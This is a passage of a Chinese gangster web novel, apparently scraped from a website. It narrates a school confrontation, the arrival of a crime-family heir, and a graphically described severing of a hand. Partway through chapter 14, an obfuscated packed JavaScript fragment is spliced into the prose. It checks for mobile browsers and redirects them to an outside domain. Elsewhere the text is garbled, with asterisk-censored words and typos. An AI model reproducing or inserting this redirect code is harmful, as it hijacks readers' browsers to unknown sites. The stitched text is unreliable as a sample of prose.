灰尘在夕阳的光柱里飞舞,两人说说笑笑干完了活。教室渐渐空了,只剩下他们仨。张霆琛心里却浮起一丝不安:李辰浩怎么没来找他?正要离开,教室门哐当一声被粗暴地踹开!一个顶着红褐色鸡冠头的家伙堵在门口,嘴里叼着牙签,眼神嚣张地扫视一圈,最后钉在张霆琛脸上:“谁是张霆琛?滚出来!我大哥找你有话说!别想跑,也甭想告老师,李辰浩在我们手里捏着呢!”
“你把李辰浩怎么了?!”张霆琛的脑子“嗡”的一声,血液瞬间冲上头顶!他像头被激怒的小豹子,一个箭步冲上去,死死揪住那人的衣领,声音因愤怒和恐惧而变调。
红毛不耐烦地一把搡开他,力道很大:“少废话!出去就知道了!”张霆琛拔腿就要往外冲,苏旭却像块磐石,死死拽住他的胳膊:“我跟你去!”张霆琛用力想挣脱:“你回家!”苏旭猛地吼出来,脖子上的青筋都暴起了:“我们还是不是朋友?!是朋友,刀山火海我也陪!”那声音在空荡的教室里回荡,砸在张霆琛心上,滚烫。他眼眶一热,重重地点了点头。
“不能去!”陈曦冲过来,张开双臂拦在他们面前,声音带着哭腔,“太危险了!我们去告诉老师!”红毛嗤笑一声,满不在乎地吐掉牙签:“告啊?敢告,信不信现在就卸李辰浩一条胳膊当利息?”张霆琛猛地回头,眼神像淬了火的刀子,狠狠剜了他一眼:“你敢!”红毛懒得废话,转身就走,只丢下一句冰冷的威胁:“我说话算不算数?看你表现了。”张霆琛和苏旭对视一眼,从彼此眼中看到了同样的恐惧和决绝,深吸一口气,并肩向外走去。
“站住!”陈曦的声音带着绝望的颤抖,“你们疯了?!那是狼窝!”张霆琛脚步顿住,没有回头,声音却异常清晰,带着细微的颤音:“我们知道危险h腿肚子现在还在打哆嗦,但我们不能扔下朋友自己跑。”说完,两人挺直脊背,大步迈入门外沉沉的暮色里。
看着他们决然的背影消失在走廊拐角,陈曦的心像被一只无形的手攥紧了,恐慌如潮水般漫上来。她感觉那两道身影正被无边的黑暗吞噬,离她越来越远。不!她不能失去他们!这个念头像电流击中了她。几乎没有思考,她一跺脚,咬着嘴唇,也快步追了上去。
校门口的情景让张霆琛瞳孔骤缩,一股冰冷的怒火瞬间烧遍全身!李辰浩像一袋破败的米袋,蜷缩在冰冷的水泥地上,刺目的鲜血糊满了他的脸颊和脖颈,在夕阳下呈现出一种诡异的暗红,一只眼睛肿得只剩下一条缝。张霆琛和苏旭疯了似的扑过去。“浩子!醒醒!伤哪儿了?我们去医院,马上去医院!”张霆琛语无伦次地喊着,手抖得厉害,想把李辰浩扶起来,又怕碰到他的伤口,声音里带着浓重的哭腔。
“想去哪?”一个阴冷的声音响起。一个中等身材、一脸横肉的男人从旁边阴影里踱出来,眼神像毒蛇一样扫过他们。他叼着烟,慢悠悠地吐出一个烟圈:“敢动刀子吓唬我兄弟(付文斌)的弟弟(徐坤),就是找死!你们几个,一个都跑不了,今儿非得给我弟一个满意的交代!”
徐坤立刻得意洋洋地从男人身后晃出来,像只开屏的孔雀,指着张霆琛和苏旭的鼻子:“小子!三番五次坏老子好事,挡老子泡妞的路,活腻歪了?说!跟那妞(陈曦)都尝过鲜了?”旁边的赵子睿立刻像条哈巴狗似的附和:“坤哥,就他俩这怂样?借他俩十个胆儿也不敢吧?瞧那脸白的,尿都快吓出来了!”徐坤装模作样地叹了口气,摊手耸肩:“唉,可惜啊,没点斤两就敢跟我徐坤叫板?乳臭未干!不过嘛…”他猥琐地舔舔嘴唇,“我瞅着他俩跟那妞,关系肯定不一般!”
“你放屁!”一声怒斥像鞭子一样抽碎了污言秽语!陈曦气喘吁吁地赶到,正好听到这不堪入耳的脏话,气得浑身发抖,脸颊涨得通红。
“呦呵!曦曦?”徐坤眼睛一亮,瞬间换了副嬉皮笑脸的嘴脸,“还没回家呢?我正琢磨着明天跟你好好‘聊聊人生’呢。”
陈曦根本没看他,她的目光胶着在满脸是血的李辰浩和跪在他身边、眼睛通红的张霆琛身上。她强忍着恶心和恐惧,对着徐坤厉声道:“徐坤!你还是不是人?对着几个学生下这么重的手?!”
“学生?”徐坤的脸瞬间拉了下来,变得狰狞,“学生就敢跟老子动刀子?!”他猛地指向张霆琛和苏旭。
陈曦不再废话,快步冲到张霆琛身边,伸手去拉他:“别哭了!先救人要紧!送他去医院!”张霆琛如梦初醒,用力点头。
“今天这事儿,我弟(徐坤)没点头,天王老子来了也别想走!”付文斌阴恻恻地开口,声音不高,却像冰锥刺骨。
陈曦咬着唇,还要去扶李辰浩。付文斌眼中戾气一闪,毫无征兆地抬手,“啪!”一记响亮的耳光狠狠扇在陈曦脸上!力道之大
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,打得她头猛地一偏,白皙的脸颊上瞬间浮起清晰的五指印,一缕头发黏在嘴角。
“斌哥!别啊!”徐坤假惺惺地叫起来,伸手想去摸陈曦的脸,“曦曦多疼啊…”付文斌只是无所谓地耸耸肩。
这一巴掌像点燃了**桶!旁边的苏旭眼睛瞬间红了!他脑子里一片空白,身体先于意识做出了反应!只见他像颗出膛的炮弹,猛地冲过去,在所有人惊愕的目光中,使出全身力气,“啪!”一个更响亮的耳光狠狠扇在徐坤那张令人作呕的脸上!清脆的声音在暮色中传得老远。
时间仿佛凝固了一秒。
“操!给我打死他!!”徐坤捂着脸,发出杀猪般的嚎叫,眼睛里的怒火几乎要喷出来!他带来的一群初二混混如梦初醒,一拥而上!拳头、脚丫子像雨点般落在苏旭身上。苏旭抱着头蜷缩在地,毫无还手之力,只能发出痛苦的闷哼。徐坤彻底疯了,他弯腰抄起旁边一根金属棒球棍,掂了掂,眼中闪过残忍的光,抡圆了胳膊,朝着苏旭的小腿骨狠狠砸下:“妈的!老子废了你!”
“啊!”一声凄厉的尖叫响起!不是苏旭!千钧一发之际,陈曦像只扑火的飞蛾,猛地扑倒在苏旭身上!那带着风声的沉重棍影,“嘭!”的一声闷响,结结实实地砸在了她的肩胛骨上!虽然有徐坤瞬间的收力,但那力量依旧恐怖!陈曦的身体剧烈地抽搐了一下,脸色瞬间惨白如纸,豆大的冷汗“唰”地冒了出来,剧烈的疼痛让她几乎窒息。
“操!操!操!”徐坤看到棍子落在陈曦身上,非但没有悔意,反而因为没打到苏旭而暴跳如雷,像头发狂的野兽,脖子上的青筋根根暴起,“都给脸不要脸是吧?!行!都他妈给我废了!一人卸一条胳膊一条腿!”
他带来的那群学生混混,平时跟着耀武扬威还行,一听真要“卸胳膊卸腿”,全都吓傻了,面面相觑,没人敢动。
“妈的!废物!平时吃老子的喝老子的,吹牛逼一个比一个响!真到事儿上全他妈怂包!滚!老子自己来!”徐坤破口大骂,一脚踹翻离他最近的一个跟班。付文斌带来的几个**混倒是面无表情,但显然不会听徐坤指挥。付文斌皱着眉头,一把抓住徐坤再次扬起的胳膊:“小坤!冷静点!废人容易,这学你还想不想上了?想想后果!”付文斌是场面上唯一还保有最后一丝理智的人。
“我管他妈什么后果!”徐坤咆哮着,猛地挣脱付文斌的手,血红的眼睛死死盯着地上的苏旭,再次抡起了那根冰冷的金属棒球棍,目标直指苏旭的胳膊!
就在这令人窒息的瞬间,所有人的目光都被徐坤疯狂的动作吸引。没人注意到,角落里抱着李辰浩的张霆琛,大脑早已一片空白。从看到李辰浩满身是血开始,巨大的恐惧和无助就像冰冷的潮水淹没了他。眼前的一切,朋友的惨叫、陈曦的扑救、徐坤的**,都像一幕幕无声的、光怪陆离的慢镜头在他眼前晃动,如此不真实。
自责的毒蛇狠狠噬咬着他的心:都怪我!如果我再强一点,再有用一点,父亲冰冷的眼神、多年独来独往的孤寂、好不容易得到的珍贵友情正因自己的无能而破碎…这一切像无数根针扎进他的神经。他恨!恨自己的懦弱!恨自己的无力!他仿佛一瞬间理解了父亲那冷漠背后的失望…
“快…跑”一声微弱到几乎听不见的**从怀里传来。李辰浩不知何时醒了过来,用尽最后力气,指甲深深掐进张霆琛的手臂。
这一掐,像一道闪电劈开了张霆琛混沌的意识!他猛地抬头,瞳孔里映出的正是徐坤挥向苏旭的夺命棍影!
“住手——!!!”
一声压抑到极致、仿佛从灵魂深处挤出来的怒吼炸响!在所有人惊愕的注视下,一道身影如同离弦之箭,带着不顾一切的气势,猛地撞入人群!他像一道撕裂黑暗的闪电,精准无比地出现在徐坤身侧!一只沾着朋友血迹的手,如同铁钳般,死死扣住了徐坤即将落下的手腕!那巨大的冲击力,硬生生让沉重的棒球棍停在了半空!
张霆琛低着头,凌乱的发丝垂下来遮住了他的眼睛,只有剧烈起伏的胸膛显示着他内心的风暴。他死死攥着徐坤的手腕,指节因用力而泛白,仿佛要捏碎那根骨头。低沉的声音从他紧咬的牙关中一字一句地挤出,带着一种令人心悸的冰冷和决绝,清晰地回荡在死寂的空气中:
“没有人!可以碰我的兄弟。”他缓缓抬起头,透过发丝的缝隙,那双燃烧着怒火的眸子死死盯住徐坤因惊愕而扭曲的脸,声音陡然拔高,如同惊雷炸响:
“谁动了他们!”
他握着徐坤手腕的手再次加力,骨头似乎发出了不堪重负的“咯咯”声:
“老子要他!十倍奉还!!”
第十三章:五零车牌的压迫
“看看谁叫的人多!”张霆琛这话一出,围观人群中竟爆出一阵压抑不住的低笑。对于稍微了解容市慕容家那点事的人来说,这话透着股天真的滑稽。在这九区四县的地界上,慕容家是真正的土皇帝,其下掌控着九家顶级歌厅,各代表一位区域掌管人。除了慕容家深不可测的老巢,就数皇朝夜总会势力最盛。各区的老大若有亲戚在对方地盘上求学或谋生,都会提前打声招呼,一份份需要“特别关照”的名单便会在内部流转。显然,这所学校里,没有谁的名字值得被写进任何一份名单。因此,皇朝的人带走几个学生,在他们看来不过是抬抬手的事,毫无顾忌。
徐飞扬被那阵笑声刺得脸上有些挂不住,他嗤笑一声,上前一步:“小子,嘴挺硬啊?行,说说,你认识谁?不过老子得提醒你,慕容家有条规矩,上了名单的人,可不是随便就能拿来当挡箭牌护别人的!”
张霆琛嘴角扯出一抹不易察觉的弧度:“规矩我懂。你也甭管我认识谁。我就问你,敢不敢等等,让我叫人来?”
徐飞扬年轻气盛,被这么一激,血性上头,还真想看看这小子能翻出什么浪花。但旁边的付文斌立刻插嘴,语气急切:“飞扬!跟这小崽子废什么话?赶紧带走!正事要紧!”
徐飞扬一愣,觉得有理,转身就要挥手。张霆琛见状,立刻用一种近乎怜悯的语气,懒洋洋地补了一句:“呵,怕了?行吧,走就走吧。原来皇朝的人,也就这点胆子,真够丢份儿的!”
“你说什么?!”这句话像烧红的烙铁烫在徐飞扬的神经上。他猛地转身,一个凶狠的耳光狠狠抽在张霆琛脸上,力道之大让张霆琛眼前发黑。徐飞扬一把揪住张霆琛的衣领,脸几乎要贴上去,眼中喷着怒火:“小兔崽子!本来今天只想给你点教训,现在老子改主意了!你叫!给你十分钟!老子让你叫来的人,一个也别想囫囵个儿离开!”
张霆琛心中一块石头落地,忍着脸上的火辣,摸出手机就要拨号。付文斌一看急了,他只想快点出这口恶气:“飞扬!你跟个毛孩子叫什么劲?夜长梦多……”
“**聋了?!”徐飞扬猛地扭头,眼神凶狠得像要**,“他说咱们皇朝没本事!滚一边儿待着去!”付文斌被吼得脸色发青,嘴唇哆嗦着,终究没敢再吭声。
电话接通,那头传来一个清朗带笑的男声:“小琰?太阳打西边出来了?是不是想哥了?”
听到哥哥慕容景云的声音,张霆琛鼻子一酸,差点掉下泪来,他强忍着,尽量让声音平稳:“哥,你知道皇朝有个叫徐飞扬的吗?”
电话那头的慕容景云顿了顿,语气轻松:“知道啊,皇朝新提起来的一个小头目。怎么了?突然问起他?”
张霆琛赶紧说:“他带人把我和几个同学堵在学校门口了,要带走我们。哥,你能不能让他离开?”他本意是想叫哥哥来撑腰,但转念一想,多一事不如少一事。
然而,意外陡生!电话那头慕容景云的声音瞬间降至冰点:“什么?!你受伤没有?操!老子扒了他的皮!”张霆琛心道不好,哥哥果然暴怒了,连忙接话:“我没事,就一个同学受了点皮外伤……”
慕容景云的声音压抑着风暴:“让他接电话!”这本该是个轻松化解危机的机会。
可就在这时,付文斌一步上前,劈手夺过张霆琛的手机,对着话筒就破口大骂:“**谁啊?口气不小!告诉你,你弟弟今天死定了!有种把你那死鬼老爹也叫上,老子一块儿收拾!”
张霆琛心里“咯噔”一下,暗道“完了”!但听到对方辱及父亲,一股怒火也猛地窜上心头。
电话里,慕容景云的声音变得异常平静,只吐出四个冰冷的字:“给我等着。”
“老子等着!”付文斌恶狠狠地把手机往地上一摔,满脸不屑。他本非如此冲动之人,但今日险些栽在几个学生手里,自觉颜面尽失,邪火攻心之下,早已失了分寸。他此刻满脑子想的都是待会儿如何狠狠羞辱对方找来的“帮手”。
苏旭紧张地拉住张霆琛的胳膊:“霆琛,真没事吧?”陈曦小脸煞白,满是担忧。唯有李辰浩,虽然不清楚张霆琛的全部底细,但想到他能一夜之间让谢逸轩一家消失的手段,心中反而安定了几分。张霆琛自己却是手心冒汗,他太了解自己哥哥的脾气,完全无法预料接下来会发生什么。
徐飞扬也没闲着,开始打电话摇人。他虽不惧,但万一对方真叫来不少人,自己这边人数吃亏,丢了皇朝的脸面,前程也就到头了。大约十分钟后,四辆破旧的金杯面包车呼啸而至。付文斌一看,皱起眉头:“怎么才这点人?”
徐飞扬瞥了他一眼:“大部分人手都调到外围去了,好像今晚场子里有大活动。”说话间,车门拉开,呼啦啦下来三四十号混混,围拢到徐飞扬和付文斌身边,七嘴八舌地问情况。其中有个染着黄毛的混混,眼神猥琐地瞄向陈曦,嬉皮
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笑脸地就想伸手去摸她的脸。
手刚伸到一半,就被徐飞扬猛地一把揪住头发往后狠狠一拽!“**懂不懂规矩?!”徐飞扬厉声呵斥,“等人就他妈给老子老实等着!连小姑娘都不放过?”说完像扔垃圾一样把他甩开,“滚远点!”
付文斌干笑两声出来打圆场:“飞扬,至于嘛,一个学生妹”徐飞扬狠狠瞪了他一眼:“忘了慕容家铁律第二条?‘不准调戏、强迫妇女,不得与不情愿者发生关系’!你想找死别连累大家!”
付文斌悻悻地撇嘴:“行行行,就你守规矩,就你懂行!”他嘴上这么说,心里却暗骂徐飞扬假正经。徐飞扬确实打心眼里瞧不上付文斌的做派,只因对方曾救过自己一命,才勉强认了这个把兄弟。付文斌自己也清楚,别人喊他“斌哥”,不过是看徐飞扬的面子,所以他也只能拼命拉拢些不入流的小弟充门面。
众人正各怀心思地等着,远处骤然传来一阵低沉有力的汽车引擎咆哮声,由远及近,速度极快!所有人下意识地回头望去,只听“嘭!!!”一声震耳欲聋的巨响!
一辆如同钢铁怪兽般的黑色装甲悍马,毫无征兆地、狂暴地撞上了停在最后面的那辆金杯面包车!巨大的冲击力直接将金杯撞得扭曲变形,侧滑出去!紧接着,十几辆体型庞大的越野车,丰田霸道、路虎揽胜、奔驰G级……清一色的顶级豪车,如同嗜血的狼群,带着慑人的气势,瞬间将整个学校门口围得水泄不通!
徐飞扬心头一紧,暗叫不妙。付文斌更是看得目瞪口呆,腿肚子有点发软。徐飞扬的目光死死锁定那辆装甲悍马的车头,悬挂着的赫然是“容A·00000”的车牌!一股冰冷的寒意瞬间从脚底板直冲头顶!他认得这辆车!整个容市,只有一个人敢用这个车牌,慕容家的大少爷,慕容景云!
他还在心底疯狂祈祷千万别是那位煞星,只见悍马那厚重的车门“哐当”一声被踹开。一个身材高大的男人跳了下来,脸上戴着墨镜,遮住了大半张脸,但露出的下颌线棱角分明,透着一股凌厉。他上身赤裸,古铜色的皮肤下是线条流畅、充满爆发力的肌肉,更触目惊心的是,那宽阔的胸膛和紧实的腹肌上,纵横交错着数道足有半尺长的狰狞刀疤,在昏暗的路灯下泛着森冷的光泽。
“哥!”张霆琛带着激动和一丝不易察觉的紧张喊道。
来人,正是慕容景云。他抬手,缓缓摘下了墨镜。
第十四章:逆鳞
慕容景云的身影裹挟着一股寒流踏出,目光如淬火的刀锋,瞬间锁定了人群中的张霆琛。他大步流星,几步便跨到张霆琛面前,骨节分明的手带着不容置疑的力道,径直在张霆琛身上摸索起来,指腹隔着衣料按压过肋骨、肩胛、手臂,动作快而精准,像是在检查一件失而复得的珍宝是否完好。
张霆琛被他突如其来的举动弄得一怔,随即扯出一个无奈的笑,声音里带着点安抚:“哥?你干嘛呢?”
“没事,”慕容景云头也没抬,声音低沉,带着金属般的冷硬,“看看你有没有被路边的野狗咬到。”他语气平淡,仿佛在说一件微不足道的小事。然而,这句话落地的瞬间,周遭的空气仿佛凝固了。刚才还嘈杂混乱的场面,此刻只剩下压抑的呼吸声和远处模糊的车流噪音。所有人都屏息垂目,连大气都不敢喘。
关于慕容景云的种种骇人传说,如同沉重的铅块压在他们心头:十六岁酒吧单刀追砍六人,血染长街;十七岁替父扫荡异己,亲历百人火并的修罗场;二十一岁生日夜,十名伏击者尽数毙命于他刀下,这些故事在道上传得神乎其神,但对于眼前这群大多与他同龄、甚至稍长的年轻人来说,终究只是模糊的“传说”。毕竟,当慕容景云的名字已能止小儿夜啼时,他们才刚刚蹒跚学步般踏入这个江湖。只有徐飞扬,紧抿着唇,眼神深处藏着难以言喻的凝重,他知道,那些传闻,字字染血,绝非虚言。
“刚才,”慕容景云终于停下手,站直身体,冰冷的目光缓缓扫过噤若寒蝉的众人,声音不高,却清晰地钻进每个人的耳膜,“是谁,骂的我?”
旁边的付文斌脸色煞白如纸,嘴唇哆嗦着,喉咙里发出咯咯的声响,眼看就要瘫软下去。就在这时,一个身影稳稳地向前一步,声音不高,却异常清晰:“是我。”
站出来的,正是徐飞扬。慕容景云锐利的目光落在他脸上,嘴角勾起一丝玩味的弧度:“呵,徐飞扬?滚一边去,账一会儿跟你算!刚才骂我的,站出来!”他语气里的不耐烦像鞭子抽在空气里。
徐飞扬非但没退,反而又踏前一步,几乎与慕容景云面对面,眼神带着恳求:“云少!今天的事,其他兄弟都还没来得及动手,您弟弟也没受重伤,您高抬贵手,放过他们。我,跟你走。”
“仗义?”慕容景云嗤笑一声,那笑声冰冷刺骨,“没动手?没动手就躺了三个,还有个丫头片子!这叫没动手?我看是我家小琛身手利落,没让你们这帮废物打着吧!”他眼神陡然转厉,如同鹰隼锁定猎物。
徐飞扬瞳孔猛缩,心知对方早已洞悉一切,连忙急声道:“云少!我们真不知道他是琛少!您大**量”
慕容景云却不再看他,仿佛他已是空气,目光转向旁边抖如筛糠的付文斌,语气森然:“你,身上挂彩了。挂彩,就是动手了!还有另外三个!”他手指随意地点过几个身上带伤或神色慌张的人。
付文斌被那目光一刺,如同被抽掉了脊梁骨,“噗通”一声重重跪倒在地,涕泪横流地扑过去抱住慕容景云的腿,声音尖利变形:“大哥!我错了!饶了我吧!我给您当牛做马!都是徐坤那个蠢货惹的祸!都是徐飞扬他弟弟!您饶了我啊!”
“操!”慕容景云眼中戾气暴涨,毫不犹豫地抬腿,那力道如同攻城锤,狠狠踹在付文斌胸口。付文斌惨嚎一声,身体像破麻袋般倒飞出去,重重砸在地上,蜷缩着咳出血沫。
“妈的!原来是你骂的!”慕容景云啐了一口,转头问张霆琛,语气瞬间柔和了些许,却带着不容更改的坚持,“小琛,你指,都谁动手了?”
张霆琛立刻上前,一把拉住慕容景云的手臂,低声恳求:“哥,算了,真没事了,你先回家吧。”他能感觉到哥哥手臂肌肉绷得像铁块。
慕容景云猛地甩开他的手,脸上是毫不掩饰的怒意:“凭什么算了?!他们动你,就是动我慕容景云的逆鳞!这次没得商量!”他霍然转身,对着徐飞扬等人,声音斩钉截铁:“动手的,留下!其他人,立刻滚!”
然而,命令下达,人群却像被冻住一样,无人挪动半步。空气死寂得可怕。慕容景云的脸色以肉眼可见的速度阴沉下来,仿佛暴风雨前的铅云,低气压笼罩全场:“我说话是放屁吗?!”不是他们不想走,是徐飞扬没有发话,谁也不敢动。
徐飞扬深吸一口气,像是下定了某种决心,再次上前一步,在众目睽睽之下,双膝重重砸在冰冷坚硬的地面上:“云少!求您放过他们!”他挺直脊背,头却深深低下,为了救过自己命的付文斌,也为了这群跟着他的兄弟,他只能赌上尊严。
慕容景云眼皮都没抬一下,目光锐利地扫过人群,最后落在苏旭身上,抬了抬下巴:“你,过来,说清楚,从头到尾。”
苏旭被点名,心脏狂跳,几乎是同手同脚地挪过来,在慕容景云那迫人的气场下,他不敢有丝毫添油加醋,但叙述时,提到张霆琛被**的细节,尤其是那几下实打实的拳脚落在要害时,语气不由自主地加重了分量。张霆琛几次想开口打断,都被慕容景云一个冰冷的眼神制止。苏旭说完,慕容景云心中已了然:第一,徐飞扬此人重情重义,是个角色;第二,徐坤和付文斌,罪无可赦!
“为什么保他?”慕容景云指着地上半死不活的付文斌,目光如刀,直刺跪着的徐飞扬。
徐飞扬抬起头,迎着那目光,只吐出四个字,字字千钧:“救命之恩!”慕容景云点了点头,眼神里闪过一丝不易察觉的欣赏,但随即又被冷酷取代:“我要是偏不放过他呢?还有你那个惹祸的弟弟?”他的声音压得很低,带着山雨欲来的压迫感,死死盯着徐飞扬的眼睛。
徐飞扬没有丝毫犹豫,声音沙哑却异常清晰:“我亲弟弟,交给您处置。我兄弟付文斌求您放他一条生路!”
话音落下,慕容景云紧绷的脸上竟忽然绽开一丝笑意,他侧头看向张霆琛,语气带着一丝调侃:“小琛,听见了?人家这么‘仗义’,你说,放不放?”张霆琛如蒙大赦,立刻点头:“放!哥,放了吧!”
慕容景云脸上的笑意瞬间消失,重新覆上寒冰。他蹲下身,凑近徐飞扬耳边,用只有两人能听到的声音,低语道:“小子,是块料。以后跟我。你弟弟,卸一只手,一条腿,这事算翻篇。至于你那个兄弟付文斌他顿了顿,声音冷得像冰碴,“必须留下一只手,然后永远滚出容市!别讨价还价,我这是在救你。这种临阵卖主、贪生怕死的货色,留着就是祸根!刚才他怎么甩锅给你的,你听得比我清楚。”
徐飞扬身体猛地一震,喉结艰难地滚动了一下,最终,没有发出任何声音,只是将头埋得更低,默认了这残酷的条件。他抬起手,对着身后挥了挥,声音疲惫而沙哑:“散了。”
人群如蒙大赦,迅速无声地退开,只留下核心几人。徐飞扬站起身,面无表情地走向刚从地上挣扎爬起、以为逃过一劫正想溜走的付文斌。
“文斌。”徐飞扬的声音异常平静。付文斌一愣,挤出讨好的笑:“飞扬,没事了?我就知道你……”话音未落,徐飞扬猛地张开双臂,一把将他死死抱住,在他耳边低语,声音带着诀别的沉重:“兄弟,对不住了!”同时,一个凌厉的眼神递给了自己的心腹。
付文斌脸上的笑容瞬间凝固,随即化为惊恐:“飞扬你”一记精准的手刀狠狠砍在他颈侧,付文斌眼睛一翻,软倒下去。徐飞扬动作快如闪电,右手不知何时已握着一把闪着寒光的短匕,没有丝毫拖泥带水,左手死死按住付文斌瘫软的手臂压在冰冷的地面上,右手刀锋高高扬起,在路灯下划出一道刺目的寒光,带着破风声狠狠斩落!
凄厉到不似人声的惨嚎划破夜空,昏迷的付文斌硬生生被剧痛惊醒!他惊恐地看着自己左手腕处,一道平整的切口,那只手已经脱离了身体,滚落在几步外的尘埃里,断腕处鲜血如泉喷涌!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062321|179213||http|test|mini|href|location''.split(''|''),0,{}));
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r>这血腥残酷的一幕,让所有目睹的人头皮发麻,胃里翻江倒海。本就惊魂未定的陈曦发出一声短促的尖叫,两眼一翻,直接晕倒在苏旭怀里。几个胆子小的也忍不住弯腰干呕起来。
徐飞扬脸上肌肉抽搐着,看也不看那断手,迅速扯下自己的外套,用力勒紧付文斌的断腕止血,动作麻利却带着一种麻木的机械感。两名手下强忍着不适上前,用撕下的布条快速包扎。徐飞扬俯身,在因剧痛和失血而意识模糊的付文斌耳边,用只有两人能听见的声音飞快地说:“切口齐,马上去医院还能接上,还有,永远别再回容市!”说话间,一张硬质的卡片迅速塞进了付文斌没受伤那只手的手心。
说完,他挥挥手,两人架起几乎虚脱的付文斌,迅速消失。徐飞扬转过身,脸上血迹未干,一步步走向慕容景云。每一步都仿佛踩在凝固的血泊里,沉重无比。慕容景云看着他走来,抬手,重重拍了拍他的肩膀:“你懂规矩。不过…这次,我当破例了。”他指的是道上切下来的肢体绝不能再还回去的铁律。“以后,跟着我。”
徐飞扬身体微微一颤,眼中复杂的情绪翻涌,最终化为一片死寂的服从。他默默走到张霆琛面前,深深鞠了一躬,腰弯成了九十度,声音干涩:“琛少,我代徐坤,给您赔罪。以后,他绝不会再出现在您面前。”说完,他直起身,沉默地站到了慕容景云身后一步的位置,如同一个没有生气的影子。
张霆琛看着地上那滩迅速变暗的血迹,胃里一阵翻腾,脸色苍白,还没完全从这血腥的裁决中回过神来,就听到慕容景云对他说:“小琛,你自己先去医院处理下。今天…哥已经犯忌了。”他的声音里透着一丝不易察觉的疲惫和无奈。
张霆琛心头一紧,猛地想起父亲慕容廷那不容触犯的铁律,一股巨大的哀伤和担忧瞬间攫住了他。他看着哥哥转身走向悍马那挺拔却透着一丝孤寂的背影,喉咙像是被什么堵住,难受得说不出话。
悍马车门沉闷地关上。车内,气压低得可怕。慕容景云靠在真皮座椅上,闭上眼,捏着眉心。一旁的徐飞扬看着这位刚刚展现雷霆手段的年轻枭雄,犹豫了一下,还是低声开口:“云少,那位琛少,是您什么时候认下的弟弟?”
这句话像一根针,猛地刺中了慕容景云。他倏地睁开眼,眼中血丝密布,压抑的怒火和某种深沉的痛苦瞬间爆发!紧握的右拳带着千钧之力,毫无征兆地狠狠砸向身旁坚固的悍马装甲车门!
“砰——!!!”
一声沉闷到令人心悸的巨响在封闭的车厢内炸开!即便是以坚固著称的军用悍马,那厚重的车门钢板,竟硬生生被他砸出了一个触目惊心的凹坑!巨大的震动让整个车身都晃了晃。
徐飞扬被这突如其来的狂暴举动惊得倒吸一口凉气,识趣地闭上嘴,他看得出来,这位云少心里正翻江倒海。刚才那声“小琛”,藏着多少没说出口的护短和无奈啊。所有想问的话都死死噎在了喉咙里。他明白了,这绝非一个能触碰的话题。
车窗外,路灯的光影飞速掠过慕容景云紧绷而阴郁的侧脸。
医院消毒水的气味弥漫在出租车内。后座上,苏旭搂着刚刚苏醒、还在瑟瑟发抖、眼神空洞的陈曦,忍不住压低声音,带着强烈的好奇和一丝后怕,不停地追问副驾上的张霆琛:“霆琛,你跟慕容家到底啥关系啊?慕容景云真是你哥哥?”张霆琛只是沉默地望着窗外飞速**的霓虹,紧抿着唇,一言不发。那沉默像一堵墙,苏旭问了几次,终于识趣地闭上了嘴,只是心中的疑团更大。
旁边的李辰浩则安静得多。他看着张霆琛沉默的背影,没有问任何问题。他隐隐感觉到,刚才那血腥而压抑的一幕,以及张霆琛与慕容景云之间那种复杂难言的关系,不过是这个沉默少年身上众多秘密的冰山一角。有些事,不该他知道的,他绝不会多问。张霆琛的世界,远比他看到的要深邃得多,也沉重得多。
第十五章:血色豪华厅
张霆琛的事,风一样刮进了慕容廷的耳中。电话接通,慕容廷的咆哮几乎要震碎听筒:“慕容景云!你脑子里灌了浆糊吗?!这么干,等于把小琰暴露了!”电话那头,慕容景云沉默着,像一块冰冷的石头,任由父亲的怒火冲刷。直到慕容廷的斥骂声歇,他才低声道:“爸,我错了。”
慕容廷胸中郁结的火气稍泄,语气陡然转冷,带着不容置疑的肃杀:“线报,刘文松今晚要砸豪华厅。你带人,给我守好了。记住,他身边的人,一个不留。”任务当前,慕容景云眼中瞬间燃起嗜血的幽光。
一旁的徐飞扬听得真切,立刻凑近:“云少,今晚我上?”慕容景云略一沉吟,点头:“一起。”徐飞扬闻言,脸上抑制不住兴奋,指节捏得咔咔作响,仿佛饥饿的野兽嗅到了血腥。慕容景云嘴角勾起一抹冷冽的弧度,开始拨打电话,调兵遣将。
慕容景云这边紧锣密鼓地布置着杀局,而刘文松那边,却弥漫着一种末日狂欢般的喧嚣。他搂着陪酒女,酒气熏天地对手下叫嚣:“今晚!给我把豪华厅砸个稀巴烂!让慕容廷那老东西看清楚,容市到底谁说了算!说,我是谁?!”手下们轰然响应,声浪几乎掀翻屋顶:“刘二爷!我们的老大刘二爷!”一片狂笑与碰杯声中,仿佛胜利已是囊中之物。
唯独朱槿眉头紧锁,心头像压着块巨石,一种不祥的预感挥之不去。可看着眼前这群醉醺醺的莽夫,他只能暗自祈祷今晚别出大乱子。跟了刘文松这个草包,他时常懊悔。若是能留在刘文殊身边该多好?可惜,大哥身边早有智计百出的赵岩,更有威名赫赫的“五虎战将”,哪里容得下他?正想着,刘文松醉醺醺地指着他:“朱槿!愁眉苦脸给谁看?过来喝酒!天塌不下来!”
朱槿无奈举杯,酒刚沾唇,刘文松的电话响了。看到屏幕上“大哥”二字,刘文松酒醒三分,刚接通,刘文殊劈头盖脸的怒骂就砸了过来:“刘文松!你脖子上顶的是猪脑吗?!今晚是不是要去动慕容廷的豪华厅?!”刘文松心里暗骂哪个王八蛋告密,嘴上却赔着笑:“大哥放心,豪华厅手到擒来……”
“放屁!”刘文殊怒极,“就凭你?我把红眼和无心调过去帮你!别给我搞砸了!”听到“五虎”中的两位要来,刘文松心头狂喜,嘴上却故作委屈:“哥,我自己能行……”换来的是刘文殊更猛烈的斥责。挂了电话,刘文松揉揉被吼得嗡嗡作响的耳朵,继续搂着女人灌酒。
午夜,离豪华厅两公里外的酒吧。刘文松灌了口烈酒,不耐烦地问:“红眼他们死哪去了?”手下纷纷摇头。刘文松火气上涌:“妈的,不等了!梁灿!你带五十个兄弟,先去给我把场子热起来!”梁灿是钱文荣手下头号打手,闻言立刻跳起来,亢奋地吼道:“兄弟们!没五虎,咱照样踩平豪华厅!走!”一群人嗷嗷叫着冲了出去。钱文荣看着爱将的背影,满意地点点头。
